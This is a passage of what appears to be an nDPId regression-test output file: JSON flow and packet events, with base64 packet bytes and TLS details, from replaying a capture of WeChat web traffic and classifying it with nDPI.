/xJAIlvBk4BcBmsLxHA4uYPL4ZLjXvDuacu9PGsFj45SVGeF0tPEDpbpaiSb\/361gsDTUdWVxnzy2v189bPsPX1oxHSIFMTNDcFLENaY9+NQNaFHlHpURceA1bJ8TCt55sRornQMYGbaLHZ6PPmlH7HrhMvh+3QJbBo+d4IWvMpzNSSFgMDAU0MAAFJAwAXQQQwesuQP\/R5JUXKknaWveOWxsm4rrj+cJNNS5JRVNd0UdVSwSWTMdhCeKFK875+pX7PD7VQQRRx\/iPjIChftbhrBgEBAB+tPhP6"} +01313{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1079,"source":"wechat.pcap","alias":"nDPId-test","flow_id":54,"flow_packet_id":8,"flow_first_seen":1492167695488,"flow_last_seen":1492167697006,"flow_tot_l4_data_len":3366,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1460,"flow_avg_l4_data_len":420,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54118,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"web.wechat.com","server_names":"webpush1.wechat.com,webpush.wechat.com,login.web.wechat.com,webpush.web.wechat.com,webpush2.wechat.com,webpush.web2.wechat.com,file.web2.wechat.com,web1.wechat.com,file.web.wechat.com,loginpoll.wechat.com,web2.wechat.com,login.wechat.com,login.web2.wechat.com,res.wechat.com,web.wechat.com","ja3":"e330bca99c8a5256ae126a55c4c725c5","ja3s":"699a80bdb17efe157c861f92c5bf5d1d","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=GeoTrust Inc., CN=GeoTrust SSL CA - G3","issuerDN":"C=HK, ST=HongKong, L=Wan Chai, O=Tencent Mobility Limited, CN=web.wechat.com","alpn":"h2,http\/1.1","fingerprint":"4F:3B:6A:87:0C:D2:34:09:C9:53:9F:6F:EE:7D:7B:9B:E9:D6:EF:C1"}} +00423{"flow_id":54,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1080,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167697,"pkt_ts_usec":6203,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0xuhAAEAGTlzAqAFny82XotNmAbsIrs9xmiyICYAQARE9CgAAAQEICgAyCeFF0vPF"} +00781{"flow_id":54,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1081,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167697,"pkt_ts_usec":7058,"pkt_caplen":326,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":326,"pkt_l4_len":292,"pkt":"eJKcD6iO8IQvSpdgCABFoAE4jydAAC0Gl3nLzZeiwKgBZwG702aaLIgJCK7PcYAYAHhBRAAAAQEICkXS88UAMgmFoaiGCpS8oOjYacuydkQHgtPbP3DyrCSx4AGIoU3SQ6w6IlQLXR0jRvKahfxAvfRWK4NS0Ud2bL\/NEmEXTmcgYJtVpdEEZ51CAdmCnjdG5uJ1io+QU7gh0ieRKl0oDcMLrFtpE76p373nVzBc+KAsPd0s1oTigooRcerywIagM\/X4e2qLIZotZ7PkDFvtdRlU5qU+VC\/opMNw23\/weduPQHLssSRe9AcC5CbkN7\/nJMVWUhmp5xJ9EwyLnKx0P1muAOMxhsWDKq3MatVtiLYKjr3EcpIUBHqpmvyfA5M\/azGCndkdBUn+QYSjYkP7wL71mSayS2cuuL7yVrEWAwMABA4AAAA="} +00424{"flow_id":54,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1082,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167697,"pkt_ts_usec":7106,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0xulAAEAGTlvAqAFny82XotNmAbsIrs9xmiyJDYAQASg77wAAAQEICgAyCeFF0vPF"} +00598{"flow_id":54,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1083,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167697,"pkt_ts_usec":9689,"pkt_caplen":192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":192,"pkt_l4_len":158,"pkt":"8IQvSpdgeJKcD6iOCABFAACyxupAAEAGTdzAqAFny82XotNmAbsIrs9xmiyJDYAYASiq3gAAAQEICgAyCeJF0vPFFgMDAEYQAABCQQS8+ivPYczW5+rJfLWUbP9rYqvXhfuC\/MWdEmcduZ5+9OMejhS0CyUEgMZsROleG8h7Nz3jzyX4sLzYdOP9rh\/7FAMDAAEBFgMDACgAAAAAAAAAAKPW9XXS+swNXytRtShV\/jCFnWvlpb2CiYLduqAyR2n3"} +00499{"flow_id":54,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1087,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167697,"pkt_ts_usec":374064,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"eJKcD6iO8IQvSpdgCABFoABnjyhAAC0GmEnLzZeiwKgBZwG702aaLIkNCK7P74AYAHhaPQAAAQEICkXS9CEAMgniFAMDAAEBFgMDAChGxQBTa4I\/dQQi68l11IGtmusE372V+0\/B329iOZuMQCrZ\/RynVkvv"} +00437{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1088,"source":"wechat.pcap","alias":"nDPId-test","flow_id":55,"flow_packet_id":1,"flow_first_seen":1492167697384,"flow_last_seen":0,"flow_tot_l4_data_len":16,"flow_min_l4_data_len":16,"flow_max_l4_data_len":16,"flow_avg_l4_data_len":16,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"224.0.0.22","l4_proto":2,"flow_datalink":1,"flow_max_packets":15} +00409{"flow_id":55,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1088,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167697,"pkt_ts_usec":384234,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":38,"pkt_len":54,"pkt_l4_len":16,"pkt":"AQBeAAAWeJKcD6iOCABGwAAoAABAAAECQerAqAFn4AAAFpQEAAAiAPsCAAAAAQIAAADgAAD7"} +00469{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1088,"source":"wechat.pcap","alias":"nDPId-test","flow_id":55,"flow_packet_id":1,"flow_first_seen":1492167697384,"flow_last_seen":0,"flow_tot_l4_data_len":16,"flow_min_l4_data_len":16,"flow_max_l4_data_len":16,"flow_avg_l4_data_len":16,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"224.0.0.22","l4_proto":2,"ndpi": {"proto":"IGMP","breed":"Acceptable","category":"Network"}} +00427{"flow_id":54,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1089,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167697,"pkt_ts_usec":412244,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0xutAAEAGTlnAqAFny82XotNmAbsIrs\/vmiyJQIAQASg6fAAAAQEICgAyCkdF0vQh"} +00438{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1090,"source":"wechat.pcap","alias":"nDPId-test","flow_id":55,"flow_packet_id":1,"flow_first_seen":1492167697384,"flow_last_seen":0,"flow_tot_l4_data_len":16,"flow_min_l4_data_len":16,"flow_max_l4_data_len":16,"flow_avg_l4_data_len":16,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"224.0.0.22","l4_proto":2,"flow_datalink":1,"flow_max_packets":15} +00437{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1090,"source":"wechat.pcap","alias":"nDPId-test","flow_id":52,"flow_packet_id":1,"flow_first_seen":1492167690433,"flow_last_seen":0,"flow_tot_l4_data_len":12,"flow_min_l4_data_len":12,"flow_max_l4_data_len":12,"flow_avg_l4_data_len":12,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.254","dst_ip":"224.0.0.1","l4_proto":2,"flow_datalink":1,"flow_max_packets":15} +00496{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1090,"source":"wechat.pcap","alias":"nDPId-test","flow_id":40,"flow_packet_id":26,"flow_first_seen":1492167617248,"flow_last_seen":1492167640200,"flow_tot_l4_data_len":8877,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1460,"flow_avg_l4_data_len":341,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54111,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00518{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1090,"source":"wechat.pcap","alias":"nDPId-test","flow_id":41,"flow_packet_id":9,"flow_first_seen":1492167617498,"flow_last_seen":1492167640214,"flow_tot_l4_data_len":312,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54112,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"}} +00491{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1090,"source":"wechat.pcap","alias":"nDPId-test","flow_id":41,"flow_packet_id":9,"flow_first_seen":1492167617498,"flow_last_seen":1492167640214,"flow_tot_l4_data_len":312,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54112,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00426{"flow_id":12,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1110,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167712,"pkt_ts_usec":488239,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0ePlAAEAGFxbAqAFnQOmnvIyxFGy60MyoSq1b+oAQAO0cXQAAAQEICgAyGQCFokCr"} +00426{"flow_id":12,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1111,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167712,"pkt_ts_usec":557412,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eJKcD6iO8IQvSpdgCABFoAA0fTIAACsGZz1A6ae8wKgBZxRsjLFKrVv6utDMqYAQAWXTwgAAAQEICoWi8KsAL7Ej"} +00426{"flow_id":54,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1120,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167717,"pkt_ts_usec":375812,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eJKcD6iO8IQvSpdgCABFoAA0jylAAC0GmHvLzZeiwKgBZwG702aaLIlACK7P74ARAHgnogAAAQEICkXTB6oAMgpH"} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1127,"source":"wechat.pcap","alias":"nDPId-test","flow_id":56,"flow_packet_id":1,"flow_first_seen":1492167720101,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54119,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00437{"flow_id":56,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1127,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167720,"pkt_ts_usec":101930,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"8IQvSpdgeJKcD6iOCABFAAA8R8JAAEAGzXrAqAFny82XotNnAbsR+WetAAAAAKACchBBBgAAAgQFtAQCCAoAMiBvAAAAAAEDAwc="} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1128,"source":"wechat.pcap","alias":"nDPId-test","flow_id":57,"flow_packet_id":1,"flow_first_seen":1492167720353,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54120,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00437{"flow_id":57,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1128,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167720,"pkt_ts_usec":353253,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"8IQvSpdgeJKcD6iOCABFAAA8TqBAAEAGxpzAqAFny82XotNoAbuP9m4OAAAAAKACchC8ZwAAAgQFtAQCCAoAMiCuAAAAAAEDAwc="} +00437{"flow_id":56,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1131,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167720,"pkt_ts_usec":458117,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"eJKcD6iO8IQvSpdgCABFoAA8AABAAC0GJ53LzZeiwKgBZwG702cUBmdaEflnrqASN8gU+wAAAgQFoAQCCApFrqVHADIgbwEDAwc="} +00425{"flow_id":56,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1132,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167720,"pkt_ts_usec":458175,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0R8NAAEAGzYHAqAFny82XotNnAbsR+WeuFAZnW4AQAOV6PQAAAQEICgAyIMhFrqVH"} +00752{"flow_id":56,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1133,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167720,"pkt_ts_usec":458584,"pkt_caplen":304,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":304,"pkt_l4_len":270,"pkt":"8IQvSpdgeJKcD6iOCABFAAEiR8RAAEAGzJLAqAFny82XotNnAbsR+WeuFAZnW4AYAOXtRgAAAQEICgAyIMhFrqVHFgMBAOkBAADlAwO4FYiIFcG2NJgznPgifBfdh+y\/SP3z7w7BFwt\/H9iuDCAVSEeMY2IvjCMgDjKK8SiyT+W1aOjnLn\/Q4fRxYvFJEgAgurrMqcyozBTME8ArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAAB8iooAAP8BAAEAAAAAEwARAAAOd2ViLndlY2hhdC5jb20AFwAAACMAAAANABQAEgQDCAQEAQUDCAUFAQgGBgECAQAFAAUBAAAAAAASAAAAEAAOAAwCaDIIaHR0cC8xLjF1UAAAAAsAAgEAAAoACgAIGhoAHQAXABiamgABAA=="} +00723{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1133,"source":"wechat.pcap","alias":"nDPId-test","flow_id":56,"flow_packet_id":4,"flow_first_seen":1492167720101,"flow_last_seen":1492167720458,"flow_tot_l4_data_len":382,"flow_min_l4_data_len":32,"flow_max_l4_data_len":270,"flow_avg_l4_data_len":95,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54119,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"web.wechat.com","ja3":"e330bca99c8a5256ae126a55c4c725c5","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00438{"flow_id":57,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1135,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167720,"pkt_ts_usec":700672,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"eJKcD6iO8IQvSpdgCABFoAA8AABAAC0GJ53LzZeiwKgBZwG702hvZooej\/ZuD6ASN8iscAAAAgQFoAQCCApF0wrqADIgrgEDAwc="} +00425{"flow_id":57,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1136,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167720,"pkt_ts_usec":700737,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0TqFAAEAGxqPAqAFny82XotNoAbuP9m4Pb2aKH4AQAOURtQAAAQEICgAyIQVF0wrq"} +00425{"flow_id":56,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1137,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167720,"pkt_ts_usec":811434,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eJKcD6iO8IQvSpdgCABFoAA0wsRAAC0GZODLzZeiwKgBZwG702cUBmdbEflonIAQAHh5ZAAAAQEICkWupZ8AMiDI"} +02346{"flow_id":56,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1138,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167720,"pkt_ts_usec":812106,"pkt_caplen":1494,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1494,"pkt_l4_len":1460,"pkt":"eJKcD6iO8IQvSpdgCABFoAXIwsVAAC0GX0vLzZeiwKgBZwG702cUBmdbEflonIAQAHjRMAAAAQEICkWupaAAMiDIFgMDAF0CAABZAwPzDOTXC6KtCwmAH31DtzK9aym9BCB5iswExo8YrNMyqCBgvGDUb62G4Do9NReMfS8YxaGk\/NAEyDLFergV\/vcvscAvAAARAAAAAP8BAAEAAAsABAMAAQIWAwMKagsACmYACmMABgowggYGMIIE7qADAgECAhAw0VtVOfZrLt7UNL9vJ0R7MA0GCSqGSIb3DQEBCwUAMEQxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMR0wGwYDVQQDExRHZW9UcnVzdCBTU0wgQ0EgLSBHMzAeFw0xNTA5MjEwMDAwMDBaFw0xODA5MjAyMzU5NTlaMG8xCzAJBgNVBAYTAkhLMREwDwYDVQQIEwhIb25nS29uZzERMA8GA1UEBxQIV2FuIENoYWkxITAfBgNVBAoUGFRlbmNlbnQgTW9iaWxpdHkgTGltaXRlZDEXMBUGA1UEAxQOd2ViLndlY2hhdC5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDOKLCU12ARBCRlKli7V796N1s9bfDDDp36hVnOckXCCtd1EICzDOMCShPpSy6mvuoSPYBr2kWWo99zbB1a21uYKdVpQmanSw53I2i\/nT9Ba10GRLm5DHrUpDUEij+mkz50Z2gx4CFdsKkRaGEZPO+as9uZ5K0vR1Ij1SUq7qYvK\/o8FWohsRDN8NCmoaUDyOkjivmoxwF9B\/OolimvW\/aejHHbaF7KhHMDTMj3pM9w5Z2Pb22IeJh85lDZOl6rH+yOl8HX0\/8DT5oJOmZoGq0Ovth7OnIKiNK8RoWM02mbl0XitpMl\/rj\/RLaSgD7DwrZYmXrRrFMnwlkx7CD4EfJfAgMBAAGjggLHMIICwzCCAT4GA1UdEQSCATUwggExghN3ZWJwdXNoMS53ZWNoYXQuY29tghJ3ZWJwdXNoLndlY2hhdC5jb22CFGxvZ2luLndlYi53ZWNoYXQuY29tghZ3ZWJwdXNoLndlYi53ZWNoYXQuY29tghN3ZWJwdXNoMi53ZWNoYXQuY29tghd3ZWJwdXNoLndlYjIud2VjaGF0LmNvbYIUZmlsZS53ZWIyLndlY2hhdC5jb22CD3dlYjEud2VjaGF0LmNvbYITZmlsZS53ZWIud2VjaGF0LmNvbYIUbG9naW5wb2xsLndlY2hhdC5jb22CD3dlYjIud2VjaGF0LmNvbYIQbG9naW4ud2VjaGF0LmNvbYIVbG9naW4ud2ViMi53ZWNoYXQuY29tgg5yZXMud2VjaGF0LmNvbYIOd2ViLndlY2hhdC5jb20wCQYDVR0TBAIwADAOBgNVHQ8BAf8EBAMCBaAwKwYDVR0fBCQwIjAgoB6gHIYaaHR0cDovL2duLnN5bWNiLmNvbS9nbi5jcmwwgZ0GA1UdIASBlTCBkjCBjwYGZ4EMAQICMIGEMD8GCCsGAQUFBwIBFjNodHRwczovL3d3dy5nZW90cnVzdC5jb20vcmVzb3VyY2VzL3JlcG9zaXRvcnkvbGVnYWwwQQYIKwYBBQUHAgIwNQwzaHR0cHM6Ly93d3cuZ2VvdHJ1c3QuY29tL3Jlc291cmNlcy9yZXBvc2l0b3J5L2xlZ2FsMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAfBgNVHSMEGDAWgBTSb\/eW9IU\/cjwwfSPahXibo3xafDBXBggrBgEFBQcBAQRLMEkwHwYIKwYBBQUHMAGGE2h0dHA6Ly9nbi5zeW1jZC5jb20wJgYIKwYBBQUHMAKGGmh0dHA6Ly9nbi5zeW1jYi5jb20vZ24uY3J0MA0GCSqGSIb3DQEBCwUAA4IBAQAZA+6JF4lvu2XJwUfeUSiNqeNdtX0tN26N"} +00780{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1138,"source":"wechat.pcap","alias":"nDPId-test","flow_id":56,"flow_packet_id":6,"flow_first_seen":1492167720101,"flow_last_seen":1492167720812,"flow_tot_l4_data_len":1874,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1460,"flow_avg_l4_data_len":312,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54119,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"web.wechat.com","ja3":"e330bca99c8a5256ae126a55c4c725c5","ja3s":"699a80bdb17efe157c861f92c5bf5d1d","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1"}} +00426{"flow_id":56,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1139,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167720,"pkt_ts_usec":812140,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0R8VAAEAGzX\/AqAFny82XotNnAbsR+WicFAZs74AQAPty9AAAAQEICgAyISBFrqWg"} +02347{"flow_id":56,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1140,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167720,"pkt_ts_usec":812783,"pkt_caplen":1494,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1494,"pkt_l4_len":1460,"pkt":"eJKcD6iO8IQvSpdgCABFoAXIwsZAAC0GX0rLzZeiwKgBZwG702cUBmzvEflonIAQAHiUmAAAAQEICkWupaAAMiDIi6AhOArffz9dJXvub9aMTE9m7GKRKeFA\/Frtrp0XYhX6JqYW8b5etQL4tC009s8jG\/TuF8dFm+8Qnv4WGTbK3wvSPN1JnNDQWe+joFVsTCgLSjZxmTivYWk1MKykcC3vkTLWMDBQxUwZd+bVuFy+Hg8Wo2jQzS71Re20zkF2fEkUE+GnA3Ez8ZEoMIVFfuZJTLyMwnZDYqRXtmKQLIXy6PQpFijtmZoXa3RaUholNnff2hQGO8247PV9f6R3KrjtNTdvAtNV8PNXxSymO5xp1cn7ghlbtsUCsdT2arvzaytmF1NYKThZAARTMIIETzCCAzegAwIBAgIDAjpvMA0GCSqGSIb3DQEBCwUAMEIxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMRswGQYDVQQDExJHZW9UcnVzdCBHbG9iYWwgQ0EwHhcNMTMxMTA1MjEzNjUwWhcNMjIwNTIwMjEzNjUwWjBEMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNR2VvVHJ1c3QgSW5jLjEdMBsGA1UEAxMUR2VvVHJ1c3QgU1NMIENBIC0gRzMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDjvn4KhqPPa209K6GXrUkkTdd3uTR5CKWeop7eRxKSPX7qGYax6E89X\/fQp3eaWx8KA7UZU9ulIZRpY51qTJEMEEe+EfpshiW3qwRoQjgJZfAU2hme+msLq2LvjafvY3AjqK+B89FuiGdT7BKkKXWKp\/JXPaKDmJfyCn3U50NuMHhiIllZuHEnRaoPZsZVP\/oyFysxj0ag+mkUfJ2fWuLrM04QprPtd2PYw5703d95mnrU7t7dmszDt6ldzBE6B7tvl6QBI0eVH6N3+liSxsfQvc+TGEK3fveeZerVO8rtrMVwof7UEJrwEgRErBpbeFBFV0xvvYDLgVwts7x2oR5lAgMBAAGjggFKMIIBRjAfBgNVHSMEGDAWgBTAephojYn7qwVkDBF9qn1luMrMTjAdBgNVHQ4EFgQU0m\/3lvSFP3I8MH0j2oV4m6N8WnwwEgYDVR0TAQH\/BAgwBgEB\/wIBADAOBgNVHQ8BAf8EBAMCAQYwNgYDVR0fBC8wLTAroCmgJ4YlaHR0cDovL2cxLnN5bWNiLmNvbS9jcmxzL2d0Z2xvYmFsLmNybDAvBggrBgEFBQcBAQQjMCEwHwYIKwYBBQUHMAGGE2h0dHA6Ly9nMi5zeW1jYi5jb20wTAYDVR0gBEUwQzBBBgpghkgBhvhFAQc2MDMwMQYIKwYBBQUHAgEWJWh0dHA6Ly93d3cuZ2VvdHJ1c3QuY29tL3Jlc291cmNlcy9jcHMwKQYDVR0RBCIwIKQeMBwxGjAYBgNVBAMTEVN5bWFudGVjUEtJLTEtNTM5MA0GCSqGSIb3DQEBCwUAA4IBAQCg1Pcs+3QLf2TxzUNqn2JTHAJ8mJCi7k9o1CAacxI+d7NQ63K87oi+fxfqd4+DYZVPhKHLMk9sIb7SaZZ9Y73cK6gf0BOEcP72NZWJ+aZ3sEbIu7cT9clgadZM\/tKO79NgwYCA4ef7i28heUrg3Kkbwbf7w0lZXLV3B0TUl\/xJAIlvBk4BcBmsLxHA4uYPL4ZLjXvDuacu9PGsFj45SVGeF0tPEDpbpaiSb\/361gsDTUdWVxnzy2v189bPsPX1oxHSIFMTNDcFLENaY9+NQNaFHlHpURceA1bJ8TCt55sRornQMYGbaLHZ6PPmlH7HrhMvh+3QJbBo+d4IWvMpzNSSFgMDAU0MAAFJAwAXQQQkTF+sAw\/uxWrVpMX6NHO5xk6RN7KKbfl+6q8GwdCCYJ7vQtUdziuDO8rZMmVw2WVREYHbirJRTh13oX98fb4SBgEBAEtPLmCv"} 